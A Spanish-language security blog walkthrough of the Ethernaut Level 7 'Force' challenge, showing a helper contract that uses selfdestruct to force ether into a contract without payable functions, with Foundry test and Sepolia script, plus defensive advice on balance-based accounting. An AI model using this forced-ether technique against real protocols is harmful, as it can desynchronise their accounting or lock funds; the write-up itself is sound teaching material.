← Volver al blog
Mike B. - SecLat Security10 de septiembre de 2026

Ethernaut Level 7 Walkthrough: Forzando Ether hacia un Contrato con selfdestruct

En este artículo, analizamos y resolvemos Ethernaut Level 7: Force.

Tiempo de lectura: ~9 min

Este nivel parece imposible a primera vista: el contrato objetivo no tiene ninguna función, ni siquiera receive o fallback, así que en teoría nunca debería poder recibir ether. Puede, porque la intuición de que assert(this.balance == 0) se mantiene siempre es incorrecta. selfdestruct puede forzar ether hacia cualquier dirección, tenga código ejecutable o no.

Además de resolver el reto, cubrimos:

  • Por qué un contrato vacío sin ninguna función payable puede terminar con ether en su balance
  • Qué hace realmente selfdestruct a nivel de la EVM, y por qué evita receive/fallback por completo
  • Cómo validar el exploit con Foundry
  • Por qué "el balance de una dirección siempre está bajo control del atacante" es una suposición defensiva que todo contrato necesita

Descripción del Reto

El contrato Force está deliberadamente vacío. No declara estado, ni lógica de constructor, ni funciones, lo que significa que no tiene ninguna forma de aceptar ether a través de una transacción normal.

El objetivo del reto es:

El objetivo de este nivel es hacer que el balance del contrato sea mayor que cero.

Clasificación de la Vulnerabilidad

CategoríaValor
Vulnerabilidad:Transferencia forzada de ether vía selfdestruct
Causa Raíz:selfdestruct(target) envía todo el balance del contrato que llama a target de forma incondicional, sin invocar receive, fallback ni ninguna otra función
Impacto:El balance de ether de cualquier contrato puede llevarse a un valor distinto de cero por un tercero externo, sin importar si tiene funciones payable
Severidad:Media (informativa para este nivel específico; puede ser Crítica si un protocolo real asume que address(this).balance refleja solo los depósitos rastreados)
Tipo de Ataque:Transferencia forzada de ether / violación de una suposición sobre el balance

Análisis del Contrato Vulnerable

Este es el contrato vulnerable usado en el reto:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

No hay código que explotar en el sentido tradicional. Force tiene cero funciones. El "bug", si podemos llamarlo así, es la suposición implícita en el nivel: que un contrato sin punto de entrada payable nunca puede tener ether. La EVM no impone esa suposición.

Causa Raíz de la Vulnerabilidad

Toda la "vulnerabilidad" es la ausencia de cualquier defensa contra un opcode específico: SELFDESTRUCT.

contract Force { /* sin funciones en absoluto */ }

Cualquier otra forma de enviar ether a un contrato, una transferencia simple, .call{value: x}(""), .send(), .transfer(), dispara la función receive() o fallback() de ese contrato. Si ninguna existe y el contrato no acepta explícitamente la llamada, la transferencia revierte. Por eso Force parece inalcanzable: no tiene receive, ni fallback, ni función payable, así que toda transferencia normal hacia él falla.

selfdestruct no pasa por ese camino. Cuando un contrato llama a selfdestruct(target), la EVM elimina el bytecode del contrato que llama (desde Cancun, solo si se destruye en la misma transacción en la que fue creado) y transfiere incondicionalmente todo su balance de ether a target. No se realiza ninguna llamada a target. No se ejecuta código de target. No hay nada que Force pueda rechazar, porque desde la perspectiva de la EVM esto no es una llamada de mensaje en absoluto, es un crédito de balance a nivel de protocolo.

Esto viola un principio de seguridad central en el diseño de contratos inteligentes:

Nunca asumas que address(this).balance refleja únicamente el ether que la lógica de tu contrato rastreó explícitamente. Cualquier actor externo puede forzar ether adicional hacia tu contrato en cualquier momento, evitando cualquier guardia de función payable que hayas escrito.

Entendiendo las Transferencias Forzadas de Ether

  1. Desplegamos un contrato desechable y lo financiamos con una pequeña cantidad de ether, ya sea vía su constructor o una transferencia interna.
  2. Ese contrato llama a selfdestruct(target), nombrando la instancia de Force como beneficiaria.
  3. La EVM ejecuta el self-destruct: el balance del contrato que llama se pone en cero, y esa cantidad exacta se agrega directamente al balance de target.
  4. No se invoca ninguna función de Force. El bytecode, el storage y la lógica de Force son completamente irrelevantes para esta transferencia.
  5. address(instancia_Force).balance ahora es mayor que cero, satisfaciendo la condición de victoria del nivel.
Jugador (EOA)
   |
   | despliega con 1 wei, luego llama attack(instancia_Force)
   v
ForceAttack (contrato financiado)
   |
   | selfdestruct(instancia_Force)
   v
EVM: transferencia de balance incondicional, SIN llamada, SIN disparar receive/fallback
   v
Force.balance > 0

El ether forzado ha causado incidentes reales en producción, sobre todo en protocolos que asumían que address(this).balance solo podía crecer a través de su propia función de depósito y usaban ese balance crudo directamente en su contabilidad o en la lógica de distribución de recompensas. Un atacante que fuerza el envío de una cantidad diminuta de ether en el momento equivocado puede desincronizar el libro contable interno del contrato de su balance real, a veces de forma permanente.

¿Por Qué el Ether Forzado es Peligroso?

selfdestruct en sí mismo no es inherentemente un bug, es un opcode documentado e intencional de la EVM. El peligro viene de lo que otros contratos asumen sobre su propio balance:

  • Nunca condiciones la lógica a address(this).balance == 0 o a un balance esperado exacto. Un contrato que solo continúa cuando su balance coincide con un valor rastreado puede quedar inutilizado permanentemente por una sola transferencia forzada de 1 wei.
  • Nunca uses el balance crudo para contabilidad. Rastrea depósitos y retiros en una variable interna explícita, y trata address(this).balance como un hecho sobre la cadena, no como un hecho sobre la contabilidad de tu protocolo.
  • El comportamiento de selfdestruct cambió con EIP-6780 (upgrade Cancun). Desde ese fork, selfdestruct solo elimina realmente el código y el storage de quien llama si el contrato fue creado en la misma transacción; en cualquier otro caso, igual transfiere el balance pero deja intactos el código y el storage del contrato. El comportamiento de transferencia forzada que enseña este nivel no se ve afectado de ninguna forma.
  • Los auditores deberían marcar cualquier invariante que dependa de "el ether entrante solo llega a través de funciones payable". Esa invariante es falsa en cualquier chain compatible con EVM.

Estrategia del Ataque

Lo que sabemos:

  1. Force no acepta ether a través de ninguna transacción normal porque no tiene ninguna función payable.
  2. selfdestruct transfiere todo el balance de un contrato a cualquier dirección, sin llamada y sin verificación de aceptación del lado receptor.
  3. La condición de victoria del nivel solo verifica address(instance).balance > 0, sin importar cómo llegó ese balance ahí.

Nuestra estrategia:

  1. Desplegar un pequeño contrato auxiliar financiado con 1 wei.
  2. Llamar a su función attack, que ejecuta selfdestruct(dirección_instancia_force).
  3. El balance de 1 wei del auxiliar se transfiere forzadamente a Force, sin involucrar ninguna función del propio Force.
  4. El balance de Force ahora es mayor que cero. Nivel resuelto.

Contrato Atacante

Este nivel sí requiere un pequeño contrato auxiliar, no porque Force tenga una función que llamar, sino porque selfdestruct solo puede invocarse desde dentro del código de un contrato; no hay forma de dispararlo directamente desde una transacción de una EOA.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

/// @notice Se financia a sí mismo y luego ejecuta selfdestruct hacia un
/// objetivo sin función payable. selfdestruct fuerza el envío del balance
/// del que llama sin condiciones, sin invocar receive/fallback del receptor.
contract ForceAttack {
    address public owner;

    constructor() payable {
        owner = msg.sender;
    }

    function attack(address payable target) external {
        require(msg.sender == owner, "Not owner");
        selfdestruct(target);
    }
}

Cómo Funciona el Exploit

Primero, desplegamos ForceAttack con 1 wei adjunto a su constructor. El constructor payable lo acepta, así que el contrato ahora tiene un balance distinto de cero que podemos forzar a transferir después, y registra nuestra dirección como owner para que solo nosotros podamos disparar el ataque.

Luego, llamamos a attack(dirección_instancia_force). Dentro de esa función, se ejecuta selfdestruct(target).

A continuación, la EVM procesa el self-destruct. No llama a ninguna función de target, no verifica si target tiene un receive o fallback, y ni siquiera verifica si el código de target existe. Simplemente mueve todo el balance de ether de ForceAttack al balance de target a nivel de protocolo.

Finalmente, leemos el balance de Force y confirmamos que ahora es mayor que cero. La condición de victoria del nivel, address(instance).balance > 0, queda satisfecha, sin que el propio código de Force ejecute una sola instrucción durante el ataque.

Validando el Exploit con Foundry

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import {Utils} from "test/utils/Utils.sol";
import {Force} from "src/levels/Force.sol";
import {ForceFactory} from "src/levels/ForceFactory.sol";
import {ForceAttack} from "test/Solutions/Attacks/ForceAttack.sol";
import {Level} from "src/levels/base/Level.sol";
import {Ethernaut} from "src/Ethernaut.sol";

contract TestForce_L7 is Test, Utils {
    Ethernaut ethernaut;
    Force instance;

    address payable owner;
    address payable player;

    function setUp() public {
        address payable[] memory users = createUsers(2);

        owner = users[0];
        vm.label(owner, "Owner");

        player = users[1];
        vm.label(player, "Player");

        vm.startPrank(owner);
        ethernaut = getEthernautWithStatsProxy(owner);
        ForceFactory factory = new ForceFactory();
        ethernaut.registerLevel(Level(address(factory)));
        vm.stopPrank();

        vm.startPrank(player);
        instance = Force(payable(createLevelInstance(ethernaut, Level(address(factory)), 0)));
        vm.stopPrank();
    }

    function testInit() public {
        vm.startPrank(player);
        assertFalse(submitLevelInstance(ethernaut, address(instance)));
        vm.stopPrank();
    }

    function testSolve() public {
        vm.startPrank(player);

        // Force no tiene ninguna función payable, así que una transferencia
        // simple o un call con value revierte. selfdestruct evita receive/
        // fallback por completo: fuerza el envío del balance del beneficiario
        // sin importar si el destino puede aceptar ether.
        ForceAttack attacker = new ForceAttack{value: 1}();
        attacker.attack(payable(address(instance)));

        assertGt(address(instance).balance, 0);
        assertTrue(submitLevelInstance(ethernaut, address(instance)));

        vm.stopPrank();
    }
}

Ejecutando el Test

source .env
forge test --match-path test/Solutions/Force_L7.t.sol --match-test testSolve --fork-url $SEPOLIA_RPC -vvv

Asegúrate de que .env defina SEPOLIA_RPC y, para el script en vivo de abajo, PK. Nunca subas .env a control de versiones.

Resolviendo el Nivel en Sepolia

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {Script} from "forge-std/Script.sol";
import {Force} from "src/levels/Force.sol";
import {ForceAttack} from "test/Solutions/Attacks/ForceAttack.sol";
import {console} from "forge-std/console.sol";

contract ForceScript is Script {
    Force public target;
    ForceAttack public attacker;

    function setUp() public {
        target = Force(payable("0xYourEthernautInstance"));
    }

    function run() public {
        uint256 pk = vm.envUint("PK"); // Private Key desde .env para firmar la Tx
        vm.startBroadcast(pk);

        // Force no tiene función receive/fallback/payable. Una transferencia
        // normal revierte. selfdestruct fuerza el envío de su balance al
        // destino de todas formas, sin ejecutar código del lado receptor.
        attacker = new ForceAttack{value: 1}();
        attacker.attack(payable(address(target)));

        console.log("Balance de la instancia Force:", address(target).balance);

        vm.stopBroadcast();
    }
}

Ejecutando el Script

source .env
forge script scripts/Force.s.sol --rpc-url $SEPOLIA_RPC

Una vez que el dry run compile sin errores y hayas reemplazado 0xYourEthernautInstance con la dirección real de tu instancia, transmítelo:

forge script scripts/Force.s.sol --rpc-url $SEPOLIA_RPC --broadcast --interactives 1 -vvv

Cómo Prevenir Problemas de Ether Forzado

El patrón vulnerable es cualquier lógica de contrato que asuma que address(this).balance solo puede cambiar a través de sus propias funciones payable:

// Vulnerable: asume que el balance solo puede igualar los depósitos rastreados
function withdrawAll() external {
    require(address(this).balance == totalDeposits, "balance inesperado");
    // ...
}

La corrección es nunca derivar la contabilidad del protocolo del balance crudo. Rastrea lo que el contrato cree que tiene en una variable explícita, y úsala para la lógica y las invariantes en su lugar:

// Corregido: la contabilidad vive en una variable explícita, no en el balance crudo
uint256 public totalDeposits;

function deposit() external payable {
    totalDeposits += msg.value;
}

function withdrawAll() external {
    uint256 amount = totalDeposits;
    totalDeposits = 0;
    (bool ok,) = msg.sender.call{value: amount}("");
    require(ok, "transferencia fallida");
    // address(this).balance puede seguir siendo mayor que totalDeposits
    // por ether forzado, y eso está bien: simplemente no se contabiliza.
}

Si un contrato realmente necesita rechazar ether inesperado, solo puede hacerlo para llamadas que pasen por receive/fallback, ya que las transferencias por selfdestruct no se pueden bloquear del lado receptor bajo ninguna circunstancia. Diseña tus invariantes en torno a ese hecho en lugar de pelear contra él.

Lecciones Aprendidas

  • Un contrato sin función payable no es inmune a recibir ether. selfdestruct evita receive, fallback y cualquier verificación de acceso que escribas.
  • address(this).balance no es una fuente confiable de verdad para la contabilidad del protocolo. Rastrea los depósitos explícitamente.
  • selfdestruct sigue transfiriendo el balance en versiones modernas de la EVM, incluso bajo las restricciones de EIP-6780 sobre cuándo se borran el código y el storage.
  • Cualquier invariante del tipo "este contrato nunca puede recibir ether" o "el balance siempre es igual a X" es insegura en una chain pública y debería tratarse como una señal de alerta durante una auditoría.

Conclusión

Ethernaut Level 7 enseña una lección fácil de subestimar: un contrato vacío, sin superficie de ataque en el sentido tradicional, aun así puede ser manipulado, porque selfdestruct opera por debajo del nivel de las llamadas a función de Solidity. Aquí no hay reentrancy, ni bug de control de acceso, ni error aritmético, solo un desajuste entre lo que los desarrolladores asumen que la EVM garantiza y lo que realmente garantiza.

Cualquier protocolo que lea address(this).balance para contabilidad, cálculo de recompensas o control de flujo necesita contemplar el ether forzado como una entrada real e inevitable. Este walkthrough cubrió:

  • Por qué un contrato vacío puede terminar con ether en su balance
  • Qué hace realmente selfdestruct a nivel de la EVM y por qué evita cualquier guardia de función payable
  • Cómo explotarlo con un contrato auxiliar mínimo de una sola función
  • Cómo validar el exploit con Foundry, localmente y sobre un fork de Sepolia
  • Cómo defenderse de las suposiciones de ether forzado con variables de contabilidad explícitas

Si estás construyendo o revisando contratos que leen address(this).balance en cualquier parte de su lógica, esta es exactamente el tipo de suposición que ponemos a prueba en una auditoría profesional.


Lee más walkthroughs de Ethernaut en el blog de SECLAT.

¿Necesitas una auditoría de seguridad para tus smart contracts? contactanos SECLAT.

SECLAT - Security & Audit

SECLAT - Expertos en seguridad blockchain y auditorías de contratos inteligentes.

Estadísticas Clave

200+
Contratos Auditados
0
Incidentes Críticos
20+
Clientes Satisfechos
$100M+
Protegidos

Contactanos

Si buscas una auditoría de seguridad o una consulta, Contactanos.

© 2026 SECLAT Security. Todos los derechos reservados.